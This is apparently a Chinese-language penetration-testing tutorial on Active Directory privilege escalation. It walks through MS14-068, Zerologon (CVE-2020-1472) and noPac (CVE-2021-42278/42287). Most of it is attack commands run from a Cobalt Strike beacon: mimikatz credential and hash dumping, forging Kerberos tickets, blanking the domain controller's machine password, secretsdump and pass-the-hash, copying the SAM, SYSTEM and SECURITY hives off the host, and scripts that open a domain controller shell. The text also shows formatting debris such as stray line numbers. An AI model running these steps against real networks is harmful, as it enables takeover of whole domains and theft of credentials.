域环境权限提升
简介
域环境提权,就是从普通域用户权限到域控管理权限
域渗透的主要目标就是拿下域控管理权限,拿下域控制器,进而拿下整个域
域内的权限提升更像是横向移动,只要获取到了域控的权限就拿到了所有的主机
MS14-068
漏洞简介
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
漏洞原理
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控DC验证PAC的话, 那么客户端可以伪造域管的权限来访问服务器。
这个就是黄金票据
利用条件
- 域控没有安装MS14-068的补丁KB3011780
- 拥有一台域内主机权限
- 具有普通域用户密码、Hash值以及用户SUID
漏洞利用
漏洞检测
查看是否存在KB3011780 补丁来判断是否存在漏洞,一般在域中的漏洞补丁都是批量安装的
1
wmic qfe
发现并不存在该补丁
收集sid值
1
whoami /all
如果本身是system 的话出现的sid 会有点奇怪
1
2S-1-5-21-105521541-3531550336-1849330903-500
获取域用户的hash
在这一步需要提权才行
1
getsystem
由于机器比较古老,基本都是一提一个准
然后获取hash
1
hashdump
1
august:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
获取明文密码
1
logonpasswords
重新制作当前的票据
删除原来的票据
1
mimikatz kerberos::purge
生成认证证书之前我们需要先下载工具
1
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
然后将本机的工具上传到受害者的机器
1
upload D:\tools\penetration\提权\windows\MS14-068.exe .
然后发现成功上传,之后开始制作票据
1
shell MS14-068.exe -u august@august.com -s S-1-5-21-1007551803-2786613087-1256062893-1001 -d 10.10.10.120
ip 可以通过ping dc 直接获取
写入证书
1
mimikatz kerberos::ptc TGT_de1ay@de1ay.com.ccache
验证
直接访问域控的c 盘文件
1
shell dir \\dc\c$
这个地方的话,可能需要将域控的ip 换成主机名,不然可能会有问题
获取域控主机名的方式
1 |
|
- 可以使用当前的用户进行创建服务或者其他操作
CVE-2020-1472 – Netlogon域提权
漏洞简介
2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞的风险通告。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成 功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
该漏洞可以置空域控的密码
漏洞复现
手动利用
获取域控主机的名称
1
net group "domain controllers" /domain
1
2net view
shell nslookup DC检测是否存在漏洞
使用代理才能连接到dc
在cs 里面添加代理的方式
1
socks port
可以查看已知的代理
上传漏洞检测程序
1
zerologon_tester.exe DC 10.10.10.10
利用漏洞重置账号
1
proxychains python3 CVE-2020-1472.py DC DC$ 10.10.10.10
将会把DC$ 用户的账号密码置空
获取域控用户的hash
1
python3 secretsdump.py 'de1ay.com/DC$@10.10.10.10' -no-pass
使用hash 横向移动
1
2python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e9067ca378134e50512ab894de75517 mingy/administrator@10.10.10.10
恢复域 - 获取Hash
做这一步的意义是,由于这个是直接将原来的DC$ 用户密码置空,现在准备回复
获取Sam数据库
1
2
3
4
5# 保存
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
reg save HKLM\SECURITY SECURITY
1
2
3
4
5# 下载
lget SYSTEM
lget SAM
lget SECURITY
1
2
3
4
5# 删除
del /f SYSTEM
del /f SAM
del /f SECURITY
解密smb 数据库
1
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
恢复域 - 还原Hash
1
2proxychains python3 reinstall_original_pw.py DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae
1
shell reinstall_original_pw.exe DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae
但是很有可能出现问题
mimikatz 利用
检测是否存在漏洞
1
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$
利用漏洞重置域账号
1
mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit
获取域控用户Hash
1
mimikatz lsadump::dcsync /domain:mingy.local /dc:DC /user:administrator /authuser:DC$ /authdomain:mingy /authpassword:"" /authntlm
得到域管权限
利用域管理员Hash得到域管权限,执行如下命令后会打开一个具有域管理员权限的cmd.exe进程
获得SeDebugPrivilege权限
1
mimikatz privilege::debug
注意:因为当前beacon用户权限为域内普通用户 MINGY\bob,需要有管理员或者SYSTEM权限才能 获得 SeDebugPrivilege 权限,因此需要在提权操作后得到的beacon中执行本步骤操作,这里我们 通过ms15-051得到SYSTEM权限的beacon
hash注入
mimikatz sekurlsa::pth /user:administrator /domain:mingy /rc4:7e9067ca378134e50512ab894de75517
CVE-2021-42287/CVE-2021-42278
漏洞简介
CVE-2021-42278
一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)
CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然 后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时 就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是 DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。
影响范围
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
漏洞利用
获取一个域用户的权限
可以使用mimikatz 来获取一个账号和密码
获取dc shell
sam_the_admin
1
python3 sam_the_admin.py "mingy/bob:1qaz@PASS" -dc-ip 10.10.10.10 -shell
noPac
1
proxychains python3 noPac.py -use-ldap mingy.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell
选一个工具就可以了